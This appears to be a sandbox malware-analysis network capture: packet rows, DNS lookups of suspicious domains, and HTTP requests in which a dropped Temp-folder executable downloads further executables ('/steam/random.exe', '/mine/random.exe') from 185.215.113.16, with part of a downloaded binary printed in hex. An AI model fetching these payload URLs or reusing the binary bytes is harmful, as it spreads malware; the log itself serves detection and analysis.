Jan 3, 2025 15:22:01.412945032 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.412967920 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.413446903 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413459063 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413470030 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413496017 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.413521051 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.413535118 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413546085 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413552046 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413569927 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413580894 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.413585901 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.413615942 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414366007 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414396048 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414407969 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414416075 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414421082 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414443970 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414446115 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414454937 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414467096 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414468050 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414480925 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414494038 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414498091 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414508104 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414515018 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414520979 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414540052 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414551020 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414551973 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414566994 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414577961 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414577961 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414592028 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414602995 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414611101 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414642096 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414661884 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414674044 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414685965 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414696932 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414709091 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414710045 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414721966 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414733887 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414742947 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414747000 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414772034 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414789915 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414789915 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414808035 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414819956 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414828062 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414833069 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414845943 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414855957 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414860964 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414869070 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414885044 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414897919 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414904118 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414913893 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414916039 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414937019 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414942980 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414947987 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414969921 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.414982080 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.414992094 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415000916 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415004969 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415018082 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415023088 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415030003 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415035009 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415046930 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415051937 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415055990 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415069103 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415080070 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415083885 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415092945 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415105104 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415115118 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415117979 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415146112 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415163994 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415455103 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415467978 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415481091 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415497065 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415503025 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415514946 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415517092 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415529966 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415540934 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415551901 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415555000 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415574074 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415591955 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415647984 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415664911 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415678024 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415690899 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415708065 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415725946 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415785074 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415797949 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415813923 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415824890 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415836096 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.415843964 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.415874958 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.416060925 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416073084 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416079998 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416105032 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416115999 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416120052 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.416129112 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416146040 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.416169882 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416178942 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.416182041 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.416208029 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.416235924 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418065071 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418113947 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418145895 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418158054 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418169022 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418180943 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418186903 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418195963 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418207884 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418212891 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418245077 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418253899 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418262005 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418267012 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418279886 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418291092 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418293953 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418303967 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418315887 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418325901 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418332100 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.418345928 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.418379068 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.499367952 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499408960 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499422073 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499435902 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499452114 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.499454975 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499469042 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499481916 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499484062 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.499505997 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499511957 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.499521971 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499535084 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.499541044 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499553919 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499564886 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.499573946 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499588013 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499599934 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:01.499603033 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:01.499610901 CET	50021	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 3, 2025 15:21:12.403096914 CET	192.168.2.6	1.1.1.1	0xcba4	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:37.303508043 CET	192.168.2.6	1.1.1.1	0xb3e4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:37.303827047 CET	192.168.2.6	1.1.1.1	0x359f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 3, 2025 15:21:40.639113903 CET	192.168.2.6	1.1.1.1	0x9656	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:40.639277935 CET	192.168.2.6	1.1.1.1	0x7cd5	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Jan 3, 2025 15:21:41.631186008 CET	192.168.2.6	1.1.1.1	0x41a6	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:41.632884026 CET	192.168.2.6	1.1.1.1	0xb506	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jan 3, 2025 15:22:16.108177900 CET	192.168.2.6	1.1.1.1	0x1797	Standard query (0)	get.craca.ru	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:17.794809103 CET	192.168.2.6	1.1.1.1	0x2dcf	Standard query (0)	fallyjustif.click	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:33.498379946 CET	192.168.2.6	1.1.1.1	0x32ba	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 3, 2025 15:21:12.414611101 CET	1.1.1.1	192.168.2.6	0xcba4	No error (0)	fancywaxxers.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:12.414611101 CET	1.1.1.1	192.168.2.6	0xcba4	No error (0)	fancywaxxers.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:12.414611101 CET	1.1.1.1	192.168.2.6	0xcba4	No error (0)	fancywaxxers.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:12.414611101 CET	1.1.1.1	192.168.2.6	0xcba4	No error (0)	fancywaxxers.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:12.414611101 CET	1.1.1.1	192.168.2.6	0xcba4	No error (0)	fancywaxxers.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:12.414611101 CET	1.1.1.1	192.168.2.6	0xcba4	No error (0)	fancywaxxers.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:12.414611101 CET	1.1.1.1	192.168.2.6	0xcba4	No error (0)	fancywaxxers.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:37.310394049 CET	1.1.1.1	192.168.2.6	0xb3e4	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:37.310534954 CET	1.1.1.1	192.168.2.6	0x359f	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 3, 2025 15:21:40.645809889 CET	1.1.1.1	192.168.2.6	0x9656	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 3, 2025 15:21:40.645809889 CET	1.1.1.1	192.168.2.6	0x9656	No error (0)	plus.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:21:40.645824909 CET	1.1.1.1	192.168.2.6	0x7cd5	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 3, 2025 15:21:41.637943029 CET	1.1.1.1	192.168.2.6	0x41a6	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:16.395329952 CET	1.1.1.1	192.168.2.6	0x1797	No error (0)	get.craca.ru		80.76.51.73	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:17.807988882 CET	1.1.1.1	192.168.2.6	0x2dcf	No error (0)	fallyjustif.click		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:17.807988882 CET	1.1.1.1	192.168.2.6	0x2dcf	No error (0)	fallyjustif.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:33.505502939 CET	1.1.1.1	192.168.2.6	0x32ba	No error (0)	rentry.co		104.26.3.16	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:33.505502939 CET	1.1.1.1	192.168.2.6	0x32ba	No error (0)	rentry.co		104.26.2.16	A (IP address)	IN (0x0001)	false
Jan 3, 2025 15:22:33.505502939 CET	1.1.1.1	192.168.2.6	0x32ba	No error (0)	rentry.co		172.67.75.40	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49829	185.215.113.16	80	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:21:23.406806946 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Jan 3, 2025 15:21:24.113831997 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:21:22 GMT Content-Type: application/octet-stream Content-Length: 5196288 Last-Modified: Fri, 03 Jan 2025 13:54:53 GMT Connection: keep-alive ETag: "6777ec2d-4f4a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 50 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 4f 00 00 04 00 00 d9 fa 4f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(PO@OO@M$a$$ $$@.rsrc$$@.idata $$@ewuxonpg$$@kebipqmx@O$O@.taggant0PO"(O@
Jan 3, 2025 15:21:24.113852978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:21:24.113863945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:21:24.113876104 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:21:24.113912106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:21:24.113960981 CET	224	IN	Data Raw: 61 51 6a 31 09 46 bb 3d 61 51 6a 35 09 2e bb 3d 61 1d 76 e8 e9 b3 72 80 2d 51 6d 09 09 1e bb 3d 61 51 6d f5 08 26 bb 3d 61 51 6d 49 09 0e bb 3d 61 51 6d 4d 09 16 bb 3d 61 51 6d 61 09 fe ba 3d 61 51 6d 25 09 06 bb 3d 61 51 6d 39 09 ee ba 3d 61 51 Data Ascii: aQj1F=aQj5.=avr-Qm=aQm&=aQmI=aQmM=aQma=aQm%=aQm9=aQ@=-$}Q=oX=!B+wu~(Om0a&=SnQdI[5&25gP=&p=h!B+wu~(Omx)O}P
Jan 3, 2025 15:21:24.113981962 CET	1236	IN	Data Raw: a7 36 29 fd 84 4f 65 21 ea 25 48 b6 97 2e 29 05 8d 4f 6d 19 ea 0d 60 b6 af 46 29 f5 74 4f 7d 11 ea 15 58 b6 a7 3e 29 c5 e5 d6 af 3d e8 54 2b 3e 61 d6 6f 95 70 e9 af 3d e8 14 54 c2 21 42 a5 b8 7e 3a 2b 8d 75 ce 7c ed fd e3 9b ae 82 d6 74 b8 27 1c Data Ascii: 6)Oe!%H.)Om`F)tO}X>)=T+>aop=T!B~:+u\|t'y-y-Qma=aQm%=aQm9=aQ@=-%)o@=~u(=[5&25gP=o`=!Bwu~(AOm]/a&YSnQd%[5&25gP=o=!B
Jan 3, 2025 15:21:24.114001036 CET	1236	IN	Data Raw: fe 42 b7 c0 7c ce af 11 52 25 7e 8c 54 02 3f 21 61 51 62 35 90 24 d5 32 dd 66 50 3d 89 1a b3 00 61 bd ba d9 ee 39 b0 ba 35 d9 22 04 60 ae 10 3c 61 d6 28 66 e4 a1 5b 28 ea 13 00 c3 21 42 bc ed 91 bd ba 51 d0 39 b0 15 9d db 70 3d 92 bd ba a9 d1 39 Data Ascii: B\|R%~T?!aQb5$2fP=a95"`<a(f[(!BQ9p=9"3(B=aQBB\|R)~T?!aQja$2fP=!B4=KoOR[9[5%25gP=/n"<a(<a(;a(;a"%2gP=&Yt(=aQj
Jan 3, 2025 15:21:24.114011049 CET	1236	IN	Data Raw: 54 02 3f 21 61 25 d5 32 6d 66 50 3d e2 be d4 11 6a 6e bf 12 66 81 ae 3d 61 d6 c8 3f 32 a1 28 85 09 8a a9 3d 61 53 f8 3c e5 99 ab 3d 61 09 d5 bd 3c e2 ff ff 60 d6 5b 30 0a d5 22 e2 45 d6 af 3d 61 15 30 cd 55 a6 71 3d 61 43 de ba a6 d7 c7 db 68 d6 Data Ascii: T?!a%2mfP=jnf=a?2(=aS<=a<`[0"E=a0Uq=aCh~uG19Tj$!aKD=&9[+!B\|u\|3G[Tj$!aKC=&SYSU)~T?!a.t*}TZ?!aQZ]b"`6a(f[
Jan 3, 2025 15:21:24.114022017 CET	1236	IN	Data Raw: 7c be 16 42 61 d6 af 50 21 c9 09 51 21 ae a8 43 61 d6 a0 7d 09 d2 ad 3d 61 51 5a 81 ea 94 c7 87 64 d6 af b8 74 6e 28 0b b9 4b 2a ca fc bd d4 ed 96 bd ba 79 ee 39 b0 c2 21 cd 2a 30 f6 bd d4 f3 fd e3 6f bc 82 d6 28 03 0d ae e4 42 61 d6 28 85 09 8e Data Ascii: \|BaP!Q!Ca}=aQZdtn(Ky9!0o(Ba(=a =2dddd=a<Ca(}$Ca(q,Ca(TBa(\Ba(DBa(LBa(5tBatQ!y-y-#)2a<j=aK_%"`Wa
Jan 3, 2025 15:21:24.118782997 CET	1236	IN	Data Raw: 43 01 ff 12 69 51 ff b6 54 92 3e 21 61 51 5e 41 60 46 ac b8 70 ce 26 0e 69 51 66 35 e4 8f 5b 40 e8 17 a4 b8 a9 ca 2a 77 75 f3 30 47 61 42 90 48 11 43 ae b6 6c 92 3e 21 61 51 7f 41 60 27 ac b8 91 ce 26 ef 68 51 6f 35 e4 96 5b 40 e8 0e a4 ec 9e 21 Data Ascii: CiQT>!aQ^A`Fp&iQf5[@wu0GaBHCl>!aQA`'&hQo5[@!)y-Q}9CNp=2&3!gP=&7=aBNp=a=&=aBNp=a=C0~Qo<a[Bd=a9[2dnA\|(hSSAQBY=ud;wt*wt}"$)
Jan 3, 2025 15:21:28.347158909 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
